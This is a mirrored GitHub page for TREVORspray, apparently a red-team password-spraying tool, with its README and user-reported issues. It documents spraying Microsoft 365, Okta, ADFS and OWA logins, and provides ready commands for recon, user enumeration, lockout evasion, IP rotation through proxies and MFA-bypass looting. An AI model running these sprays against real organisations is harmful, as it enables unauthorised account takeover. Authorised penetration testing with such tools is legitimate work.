GithubHelp home page GithubHelp logo

blacklanternsecurity / trevorspray Goto Github PK

View Code? Open in Web Editor NEW
936.0 17.0 137.0 223 KB

TREVORspray is a modular password sprayer with threading, clever proxying, loot modules, and more!

License: GNU General Public License v3.0

Python 100.00%
password spraying security hacking microsoft passwords office 365 exchange oauth

trevorspray's Introduction

TREVORspray 2.0

TREVORspray is a modular password sprayer with threading, SSH proxying, loot modules, and more!

By @thetechr0mancer

License Python Version

Installation:

pip install git+https://github.com/blacklanternsecurity/trevorproxy
pip install git+https://github.com/blacklanternsecurity/trevorspray

See the accompanying Blog Post for a fun rant and some cool demos!

trevorspray-demo

Features

  • Threads, lots of threads
  • Multiple modules
    • msol (Office 365)
    • adfs (Active Directory Federation Services)
    • owa (Outlook Web App)
    • okta (Okta SSO)
    • anyconnect (Cisco VPN)
    • custom modules (easy to make!)
  • Tells you the status of each account: if it exists, is locked, has MFA enabled, etc.
  • Automatic cancel/resume (remembers already-tried user/pass combos in ~/.trevorspray/tried_logins.txt)
  • Round-robin proxy through multiple IPs with --ssh or --subnet
  • Automatic infinite reconnect/retry if a proxy goes down (or if you lose internet)
  • Spoofs User-Agent and other signatures to look like legitimate auth traffic
  • Comprehensive logging
  • Optional --delay, --jitter, and --lockout-delay between requests to bypass lockout countermeasures
  • IPv6 support
  • O365 MFA bypass support (disable with --no-loot)
    • IMAP
    • SMTP
    • POP
    • EWS (Exchange Web Services) - Automatically retrieves GAL (Global Address Book)
    • EAS (Exchange ActiveSync)
      • Recommended bypass: BlueMail Android app
    • EXO (Exchange Online PowerShell)
    • UM (Exchange Unified Messaging)
    • AutoDiscover - Automatically retrieves OAB (Offline Address Book)
    • Azure Portal Access
  • Domain --recon with the following features:
    • list MX/TXT records
    • list O365 info
      • tenant ID
      • tenant name
      • other tentant domains
      • sharepoint URL
      • authentication urls, autodiscover, federation config, etc.
    • User enumeration (use --recon and --users):
      • OneDrive
      • Azure Seamless SSO

How To - O365

  • First, get a list of emails for corp.com and perform a spray to see if the default configuration works. Usually it does.
  • If TREVORspray says the emails in your list don't exist, don't give up. Get the token_endpoint with --recon corp.com. The token_endpoint is the URL you'll be spraying against (with the --url option).
  • It may take some experimentation before you find the right combination of token_endpoint + email format.
    • For example, if you're attacking corp.com, it may not be as easy as spraying corp.com. You may find that Corp's parent company Evilcorp owns their Azure tenant, meaning that you need to spray against evilcorp.com's token_endpoint. Also, you may find that corp.com's internal domain corp.local is used instead of corp.com.
    • So in the end, instead of spraying [email protected] against corp.com's token_endpoint, you're spraying [email protected] against evilcorp.com's.

Example: Perform recon against a domain (retrieves tenant info, autodiscover, mx records, etc.)

trevorspray --recon evilcorp.com
...
    "token_endpoint": "https://login.windows.net/b439d764-cafe-babe-ac05-2e37deadbeef/oauth2/token"
...

Example: Enumerate users via OneDrive (no failed logins)

trevorspray --recon evilcorp.com -u emails.txt --threads 10

recon-user-enumeration

Example: Spray against discovered "token_endpoint" URL

trevorspray -u emails.txt -p 'Welcome123' --url https://login.windows.net/b439d764-cafe-babe-ac05-2e37deadbeef/oauth2/token

Example: Spray with 5-second delay between requests

trevorspray -u [email protected] -p 'Welcome123' --delay 5

Example: Spray and round-robin between 3 IPs (the current IP is also used, unless -n is specified)

trevorspray -u emails.txt -p 'Welcome123' --ssh [email protected] [email protected]

Example: Find valid usernames without OSINT >:D

# clone wordsmith dataset
wget https://github.com/skahwah/wordsmith/releases/download/v2.1.1/data.tar.xz && tar -xvf data.tar.xz && cd data

# order first initial by occurrence
ordered_letters=asjmkdtclrebnghzpyivfowqux

# loop through first initials
echo -n $ordered_letters | while read -n1 f; do
  # loop through top 2000 USA last names
  head -n 2000 'usa/lnames.txt' | while read last; do
    # generate emails in f.last format
    echo "${f}.${last}@evilcorp.com"
  done
done | tee f.last.txt

trevorspray -u f.last.txt -p 'Welcome123'

Extract data from downloaded LZX files

When TREVORspray successfully bypasses MFA and retrieves an Offline Address Book (OAB), the address book is downloaded in LZX format to ~/.trevorspray/loot. LZX is an ancient and obnoxious compression algorithm used by Microsoft.

# get libmspack (for extracting LZX file)
git clone https://github.com/kyz/libmspack
cd libmspack/libmspack/
./rebuild.sh
./configure
make

# extract LZX file
./examples/.libs/oabextract ~/.trevorspray/loot/deadbeef-ce01-4ec9-9d08-1050bdc41131-data-1.lzx oab.bin
# extract all strings
strings oab.bin
# extract and dedupe emails
egrep -oa '[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}' oab.bin | tr '[:upper:]' '[:lower:]' | sort -u

TREVORspray - Help:

$ trevorspray --help
usage: trevorspray [-h] [-m {owa,okta,anyconnect,adfs,msol}] [-u USERS [USERS ...]] [-p PASSWORDS [PASSWORDS ...]] [--url URL] [-r DOMAIN] [-t THREADS] [-f] [-d DELAY]
                   [-ld LOCKOUT_DELAY] [-j JITTER] [-e] [-nl] [--ignore-lockouts] [--timeout TIMEOUT] [--random-useragent] [-6] [--proxy PROXY] [-v] [-s USER@SERVER [USER@SERVER ...]]
                   [-i KEY] [-b BASE_PORT] [-n] [--interface INTERFACE] [--subnet SUBNET]

A password sprayer with the option to load-balance traffic through SSH hosts

optional arguments:
  -h, --help            show this help message and exit

basic arguments:
  -m {owa,okta,anyconnect,adfs,msol}, --module {owa,okta,anyconnect,adfs,msol}
                        Spray module to use (default: msol)
  -u USERS [USERS ...], --users USERS [USERS ...]
                        Usernames(s) and/or file(s) containing usernames
  -p PASSWORDS [PASSWORDS ...], --passwords PASSWORDS [PASSWORDS ...]
                        Password(s) that will be used to perform the password spray
  --url URL             The URL to spray against
  -r DOMAIN, --recon DOMAIN, --enumerate DOMAIN
                        Retrieves MX records and info related to authentication, email, Azure, Microsoft 365, etc. If --usernames are specified, this also enables username enumeration.

advanced arguments:
  Round-robin traffic through remote systems via SSH (overrides --threads)

  -t THREADS, --threads THREADS
                        Max number of concurrent requests (default: 1)
  -f, --force           Try all usernames/passwords even if they've been tried before
  -d DELAY, --delay DELAY
                        Sleep for this many seconds between requests
  -ld LOCKOUT_DELAY, --lockout-delay LOCKOUT_DELAY
                        Sleep for this many additional seconds when a lockout is encountered
  -j JITTER, --jitter JITTER
                        Add a random delay of up to this many seconds between requests
  -e, --exit-on-success
                        Stop spray when a valid cred is found
  -nl, --no-loot        Don't execute loot activites for valid accounts
  --ignore-lockouts     Forces the spray to continue and not stop when multiple account lockouts are detected
  --timeout TIMEOUT     Connection timeout in seconds (default: 10)
  --random-useragent    Add a random value to the User-Agent for each request
  -6, --prefer-ipv6     Prefer IPv6 over IPv4
  --proxy PROXY         Proxy to use for HTTP and HTTPS requests
  -v, --verbose, --debug
                        Show which proxy is being used for each request

SSH Proxy:
  Round-robin traffic through remote systems via SSH (overrides --threads)

  -s USER@SERVER [USER@SERVER ...], --ssh USER@SERVER [USER@SERVER ...]
                        Round-robin load-balance through these SSH hosts (user@host) NOTE: Current IP address is also used once per round
  -i KEY, -k KEY, --key KEY
                        Use this SSH key when connecting to proxy hosts
  -b BASE_PORT, --base-port BASE_PORT
                        Base listening port to use for SOCKS proxies
  -n, --no-current-ip   Don't spray from the current IP, only use SSH proxies

Subnet Proxy:
  Send traffic from random addresses within IP subnet

  --interface INTERFACE
                        Interface to send packets on
  --subnet SUBNET       Subnet to send packets from

Writing your own Spray Modules

If you need to spray a service/endpoint that's not supported yet, you can write your own spray module! This is a great option because custom modules benefit from all of TREVORspray's features -- e.g. proxies, delay, jitter, etc.

Writing your own spray module is pretty straightforward. Create a new .py file in lib/sprayers (e.g. lib/sprayers/custom_sprayer.py), and create a class that inherits from BaseSprayModule. You can call the class whatever you want. Fill out the HTTP method and any other parameters that you need in the requests (you can reference lib/sprayers/base.py or any of the other modules for examples).

  • You only need to implement one method on your custom class: check_response(). This method evaluates the HTTP response to determine whether the login was successful.
  • Once you're finished, you can use the custom spray module by specifying the name of your python file (without the .py) on the command line, e.g. trevorspray -m custom_sprayer -u users.txt -p Welcome123.
# Example spray module

from .base import BaseSprayModule

class SprayModule(BaseSprayModule):

    # HTTP method
    method = 'POST'
    # default target URL
    default_url = 'https://login.evilcorp.com/'
    # body of request
    request_data = 'user={username}&pass={password}&group={otherthing}'
    # HTTP headers
    headers = {}
    # HTTP cookies
    cookies = {}
    # Don't count nonexistent accounts as failed logons
    fail_nonexistent = False

    headers = {
        'User-Agent': 'Your Moms Smart Vibrator',
    }

    def initialize(self):
        '''
        Get additional arguments from user at runtime
        NOTE: These can also be passed via environment variables beginning with "TREVOR_":
            TREVOR_otherthing=asdf
        '''
        while not self.trevor.runtimeparams.get('otherthing', ''):
            self.trevor.runtimeparams.update({
                'otherthing': input("What's that other thing? ")
            })

        return True


    def check_response(self, response):
        '''
        returns (valid, exists, locked, msg)
        '''

        valid = False
        exists = None
        locked = None
        msg = ''

        if getattr(response, 'status_code', 0) == 200:
            valid = True
            exists = True
            msg = 'Valid cred'

        return (valid, exists, locked, msg)

CREDIT WHERE CREDIT IS DUE - MANY THANKS TO:

trevor

#trevorforget

trevorspray's People

Contributors

axylumrust avatar cbowen08 avatar cham423 avatar thetechromancer avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

trevorspray's Issues

Trevorspray User Enumeration Bug

There seems to be an issue with user enumeration when using Trevorspray. No options are given when attempting to enumerate users.
Output:

[06/27/23 5:53:00] root@kali:~/trevorspray# trevorspray --users users.txt --recon example.net -v
[INFO] Command: /usr/local/bin/trevorspray --users users.txt --recon example.net -v
[INFO] User enumeration enabled with --recon and --users
[INFO] Choosing user enumeration method (skip by exporting TREVOR_userenum_method=)

[USER] Which user enumeration method would you like to use? () 

Error handling command line parameters

When an operator makes a mistake and issues the incorrect parameters, Trevorspray errors out and doesn't prompt the user to fix their parameters.

E.g.,

trevorspray --users someuser --password somepassword

This will result in an error.

Should prompt the user to provide a domain, either in the --user parameter, or by providing the -r switch for a domain.

Response Code 401 when spraying Okta with valid credentials

When using the Okta module, Trevorspray returns a Response code 401 for every attempt, including for a correct set of credentials. The command being used is:
trevorspray -u test_emails.txt -m okta -p 'password' --delay 60 --jitter 10 --lockout-delay 30 -n --ssh ubuntu@ip_address --key ~/id
I know which username the password is valid for and have tested it by successfully logging in at "domain.okta.com," and have double checked that the username is included in the file test_emails.txt. I may be missing something in the command, but as far as I can tell from the github README my command is correct.

delay/jitter don't seem to work on Okta module

here's the command i'm working with:

python3 cli.py -m okta -u usernames.txt -p Winter2021! --delay 10 --jitter 120 --ssh user@IPADDRESS user@IPADDRESS user@IPADDRESS -f

i've also tried using the -d and -j versions of the flag and got the same results. i've also tried putting the delay and jitter flags at the end of the command. regardless, it just sprays at max speed

'Skipping'element

Hello,

First off I just wanted to say what a great tool and it does a whole lot more than just spraying.
My only question, and maybe I missed the flags. If I want to re use a password for spraying to see that it was successful in all green, how can I skip the "skipping" aspect of the spray. In other words, I dont want it to skip the password spray because it recognizes it was already used.

Thank you

Using TREVORSpray against ADFS portal

Hi,

Can I use TREVORSpray In the case where the o365 login page redirects to an adfs login page?

When I tried it the output was showing success for all emails! Is there any way to differentiate the response?

Thank you.

Error when using the Okta module

When running the following command:

poetry run trevorspray -u Users -p password -m okta -j 10 --random-useragent --ssh root@IP root@IP root@IP root@IP root@IP -n

The tool then fires up and outputs this:

[USER] Enter target subdomain (<subdomain>.okta.com): subdomain

And after entering the valid subdomain, the following error occurs:

[ERRR] Unhandled error in Okta.create_request(): 'subdomain' (-v to debug)
[ERRR] Traceback (most recent call last): File "/root/tools/TREVORspray/trevorspray/lib/proxy.py", line 247, in check_cred prepared_request = sprayer.create_request(user, password).prepare() File "/root/tools/TREVORspray/trevorspray/lib/sprayers/base.py", line 78, in create_request url = self.url.format(**self.globalparams, **runtimeparams) KeyError: 'subdomain'

Using Python 3.8.7 in Kali Linux

Not sure what the issue is, thanks!

No module named 'lib.util'

I recently reinstalled the tool, but was not able to make it work.
I was getting a "No module named 'lib.util'" when trying to run it

image

I was able to fix it by changing the cli.py line 23 to from .lib import util, however I'm not sure if this is the correct way to go

image

error pipx install - seemed to fail to build package

pipx install git+https://github.com/blacklanternsecurity/TREVORspray
Fatal error from pip prevented installation. Full pip output in file:
    /home/user/.local/pipx/logs/cmd_2023-05-16_15.43.52_pip_errors.log

pip seemed to fail to build package:
    beautifulsoup4<5.0.0,>=4.10.0

Some possibly relevant errors from pip install:
    ERROR: Could not find a version that satisfies the requirement trevorproxy<2.0.0,>=1.0.5 (from trevorspray) (from versions: 1.0.0, 1.0.1, 1.0.3, 1.0.4)
    ERROR: No matching distribution found for trevorproxy<2.0.0,>=1.0.5

Error installing trevorspray from spec 'git+https://github.com/blacklanternsecurity/TREVORspray'.

something wrong with requirements it seems

ENHANCEMENT REQUEST: Option for Random Delay

Hello, great tool!

Was curious if there's time to add an option for delay that randomizes the amount of seconds for delay between each request up to X maximum seconds.

Thanks!

False positives maybe?

When I do the following query, I see some SUCCESS messages when I know they are bogus. Here is my command I am running:

trevorspray -u emails.txt --passwords "test" --url https://login.microsoft.com/

I am trying to see which on my list of emails is an actual valid account and which is not through that URL. When I run it, I am seeing [SUCC] [email protected]:test

is this normal? Please guide me if I am doing something wrong.

trevorspray is not running

Getting the following error when trying to run the trevorspray:

└─# trevorspray --recon example.com
Traceback (most recent call last):
File "/usr/local/bin/trevorspray", line 5, in
from trevorspray.cli import main
File "/usr/local/lib/python3.11/dist-packages/trevorspray/cli.py", line 24, in
from lib import logger
ImportError: cannot import name 'logger' from 'lib' (/usr/lib/python3/dist-packages/lib/init.py)

I have installed it using the following commands:
pip3 install git+https://github.com/blacklanternsecurity/trevorproxy
pip3 install git+https://github.com/blacklanternsecurity/trevorspray

Error with --subnet argument

I have spun up a Linode server and provisioned a /64 IPv6 subnet as described in your blog. When I list the interface I can see the correct subnet listed on the eth0 interface. I then use the following command and receive the following error:

trevorspray -u emails.txt -p “Password2021" --url https://login.windows.net/xxxx-xxxx-xxxx-xxxxxxx/oauth2/token --subnet 2xxx:3xxx:e0xx:00xx::/64 -i eth0

Warning:

[DEBUG] Accepting connection from 127.0.0.1:46886
[DEBUG] Address type == IPv4
[DEBUG] Destination address: 2x.x.x.x
[WARNING] AddressFamily.AF_INET does not match that of subnet (AddressFamily.AF_INET6, source IP randomization is impossible.
[DEBUG] Connected to 2x.x.x.x:443

This appears to me as though it is not sending the requests on the IPv6 subnet and instead sending all requests out of the IPv4 interface.

Additionally, when trying to perform the proof of concept for trevorproxy as shown in the blog (proxychains curl 'http:/[::1]:8080') I recieve the following error when standing up the python webserver:

root@localhost:~# python3 -m http.server --bind ::1 8080
Traceback (most recent call last):
  File "/usr/lib/python3.6/runpy.py", line 193, in _run_module_as_main
    "__main__", mod_spec)
  File "/usr/lib/python3.6/runpy.py", line 85, in _run_code
    exec(code, run_globals)
  File "/usr/lib/python3.6/http/server.py", line 1211, in <module>
    test(HandlerClass=handler_class, port=args.port, bind=args.bind)
  File "/usr/lib/python3.6/http/server.py", line 1185, in test
    with ServerClass(server_address, HandlerClass) as httpd:
  File "/usr/lib/python3.6/socketserver.py", line 456, in __init__
    self.server_bind()
  File "/usr/lib/python3.6/http/server.py", line 136, in server_bind
    socketserver.TCPServer.server_bind(self)
  File "/usr/lib/python3.6/socketserver.py", line 470, in server_bind
    self.socket.bind(self.server_address)
socket.gaierror: [Errno -9] Address family for hostname not supported

I will continue to troubleshoot this error and get back

This is how I installed the tool:

pip3 install --upgrade setuptools pip
pip3 install git+https://github.com/blacklanternsecurity/trevorproxy
pip3 install git+https://github.com/blacklanternsecurity/trevorspray

Feature request: allow specifying Okta domain

During a red team engagement I found out that Okta makes use of multiple domains for federation. My current target makes use of the okta-emea.com domain, but TREVORspray has okta.com hardcoded in in okta.py:

# default target URL
default_url = 'https://{subdomain}.okta.com/api/v1/authn'

Changing the URL allowed me to successfully spray a user account that I already knew the password for:

# default target URL
default_url = 'https://{subdomain}.okta-emea.com/api/v1/authn'

It might be possible to autodetect this with the recon module by inspecting the AuthURL parameter in the response for https://login.microsoftonline.com/getuserrealm.srf?login=test@[customer-domain]. Another way would be to add a specific argument or prompt in interactive mode.

Endpoint uses POST request

Is there an option to send POST requests to an endpoint instead of GET request?
When i try to connect to the endpoint:
AADSTS900561: The endpoint only accepts POST, OPTIONS requests. Received a GET request.

Error Socks5

image

Updated Kali to the newest version 6.0.0, now im getting this error? In the past I believe it was my own syntax causing the issue but now I cannot work out the problem.

[ERRR] Traceback (most recent call last):
File "/home/kali/Tools/TREVORspray/trevorspray/./cli.py", line 155, in main
sprayer = TrevorSpray(options)
File "/home/kali/Tools/TREVORspray/trevorspray/lib/trevor.py", line 59, in init
proxy = ProxyThread(
File "/home/kali/Tools/TREVORspray/trevorspray/lib/proxy.py", line 70, in init
self.proxy.start()
File "/home/kali/.local/lib/python3.10/site-packages/trevorproxy/lib/ssh.py", line 62, in start
raise SSHProxyError(f'Failed to start SSHProxy {self}')
trevorproxy.lib.errors.SSHProxyError: Failed to start SSHProxy socks5://127.0.0.1:33482

install issues

i am having issues installing.

I get this

└─$ sudo pip install git+https://github.com/blacklanternsecurity/trevorproxy
DEPRECATION: Python 2.7 reached the end of its life on January 1st, 2020. Please upgrade your Python as Python 2.7 is no longer maintained. pip 21.0 will drop support for Python 2.7 in January 2021. More details about Python 2 support in pip can be found at https://pip.pypa.io/en/latest/development/release-process/#python-2-support pip 21.0 will remove support for this functionality.
Collecting git+https://github.com/blacklanternsecurity/trevorproxy
Cloning https://github.com/blacklanternsecurity/trevorproxy to /tmp/pip-req-build-mKi0tJ
Running command git clone -q https://github.com/blacklanternsecurity/trevorproxy /tmp/pip-req-build-mKi0tJ
Installing build dependencies ... done
Getting requirements to build wheel ... error
ERROR: Command errored out with exit status 1:
command: /usr/bin/python /usr/local/lib/python2.7/dist-packages/pip/_vendor/pep517/_in_process.py get_requires_for_build_wheel /tmp/tmplmnVGj
cwd: /tmp/pip-req-build-mKi0tJ
Complete output (4 lines):
Traceback (most recent call last):
File "/usr/local/lib/python2.7/dist-packages/pip/_vendor/pep517/_in_process.py", line 16, in
from importlib import import_module
ImportError: No module named importlib

ERROR: Command errored out with exit status 1: /usr/bin/python /usr/local/lib/python2.7/dist-packages/pip/_vendor/pep517/_in_process.py get_requires_for_build_wheel /tmp/tmplmnVGj Check the logs for full command output.

Add Loot timeout

SMTP looter can run forever

[ERRR] Traceback (most recent call last):
  File "/usr/local/lib/python3.9/dist-packages/trevorspray/lib/looters/msol.py", line 62, in test_smtp
    session = smtplib.SMTP(host, timeout=5)
  File "/usr/lib/python3.9/smtplib.py", line 253, in __init__
    (code, msg) = self.connect(host, port)
  File "/usr/lib/python3.9/smtplib.py", line 339, in connect
    self.sock = self._get_socket(host, port, self.timeout)
  File "/usr/lib/python3.9/smtplib.py", line 310, in _get_socket
    return socket.create_connection((host, port), timeout,
  File "/usr/lib/python3.9/socket.py", line 843, in create_connection
    raise err
  File "/usr/lib/python3.9/socket.py", line 831, in create_connection
    sock.connect(sa)
socket.timeout: timed out

Proxythread Error (OWA)

I'm getting this error anytime I try against an OWA instance:

[ERRR] Unhandled error in OWA.create_request(): BaseSprayModule.create_request() missing 1 required positional argument: 'proxythread' (-v to debug)
[ERRR] Traceback (most recent call last):
File "/opt/homebrew/lib/python3.11/site-packages/trevorspray/lib/proxy.py", line 268, in check_cred
prepared_request = sprayer.create_request(
^^^^^^^^^^^^^^^^^^^^^^^
File "/opt/homebrew/lib/python3.11/site-packages/trevorspray/lib/sprayers/owa.py", line 71, in create_request
r = super().create_request(username, password)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
TypeError: BaseSprayModule.create_request() missing 1 required positional argument: 'proxythread'

No matching distribution found for trevorproxy in Ubuntu 18.04

In Ubuntu 18.04, getting the following error. I have yet to be able to trace down the exact issue with trevorproxy dependencies that are missing in Bionic Beaver. Is Ubuntu 18.04 supported as an OS or are you just recommending we use Ubuntu 20.04 or later?

Exact error when running install:

ERROR: Could not find a version that satisfies the requirement trevorproxy<2.0.0,>=1.0.1 (from trevorspray)
ERROR: No matching distribution found for trevorproxy<2.0.0,>=1.0.1

Thanks. TrevorSpray is a very nice tool.
-Jason

Usage of Spray vs Proxy

Hey all, great tool!

Quick question: the spraying tool seems to allow you to round robin SSH sessions when spraying, so I'm a bit confused on the use of the proxy tool? Do these need to be used together for the tool to work correctly? In other words, set the proxy script to use the droplets I want it to, then set those same droplets in the command for the spray?

Thanks!

Feature request: Duo Security AD FS login portal module

I have a client who has a client-branded Duo Security AD FS login portal, with an AuthURL similar to the following:

https://sso-xxxxxxxx.sso.duosecurity.com/saml2/sp/XXXXXXXXXXXXXXXXXXXX/sso

I can also visit https://example.login.duosecurity.com/ (where "example" equals the client name), which then redirects to:

https://example.login.duosecurity.com/login/?authkey=XXXXXXXXXXXXXXXXXXXX&scid=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

The "Single Sign-On" page first accepts an "Email Address", and after entering the email address and clicking "Next" you are presented with a different screen prompting for the "Password", which after entering you would attempt to "Log in".

Would it be possible to create a TREVORspray "Duo Security" module for this?

image image

Error when supplying --url to owa spray module (on-prem owa instances)

if not self.o365:
discovery.owa_internal_domain(self.url)

When supplying an on-prem OWA url (e.g., https://mail.company.com/Autodiscover/Autodiscover.xml) via --url argument to -m owa module, the following error occurs:

[ERRR] Unhandled error in OWA.initialize(): local variable 'discovery' referenced before assignment
[ERRR] Traceback (most recent call last):
  File "/home/user/.local/lib/python3.9/site-packages/trevorspray/lib/trevor.py", line 140, in spray
    ready = sprayer.initialize()
  File "/home/user/.local/lib/python3.9/site-packages/trevorspray/lib/sprayers/owa.py", line 52, in initialize
    discovery.owa_internal_domain(self.url)
UnboundLocalError: local variable 'discovery' referenced before assignment

[ERRR] Failed to initialize OWA

This is due to an unnecessary discovery check initialized at line 51 in owa.py. Commenting out or removing line 51-52 in owa.py resolves this issue.

Incorrect trevorproxy dependency version

Running poetry install returns the following error:

$ poetry install                                                                                                                                                                             
Installing dependencies from lock file                                                                                                                                                        
Warning: poetry.lock is not consistent with pyproject.toml. You may be getting improper dependencies. Run `poetry lock [--no-update]` to fix it.                                              
                                                                                                                                                                                              
Because trevorspray depends on trevorproxy (^1.0.5) which doesn't match any versions, version solving failed.

The errors comes from the version specified for trevorproxy in pyproject.toml ("^1.0.5"), which is different from the one specified in the poetry.lock file (1.0.4) . By changing the version from 1.0.5 to 1.0.4 in the pyproject.toml file, the installation process with poetry install completes without any error.

Error Code with Valid User

Correct username and password results in a error code of:

HTTP 400: Got an error we haven't seen yet: {'error': 'interaction_required', 'error_description': 'AADSTS530031: Access policy does not allow token issuance.\r\nTrace ID: 408deb1e-a8e4-43c0-996b-18811b6cea01\r\nCorrelation ID: 4a3249c3-e753-4e0a-8c4c-19dc6cb75764\r\nTimestamp: 2022-12-05 16:23:50Z', 'error_codes': [530031], 'timestamp': '2022-12-05 16:23:50Z', 'trace_id': '408deb1e-a8e4-43c0-996b-18811b6cea01', 'correlation_id': '4a3249c3-e753-4e0a-8c4c-19dc6cb75764', 'error_uri': 'https://login.microsoft.com/error?code=530031', 'suberror': 'message_only'}

Probably need to add this as an 'user is correct and password is correct' to continue to the authentication bypasses.

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.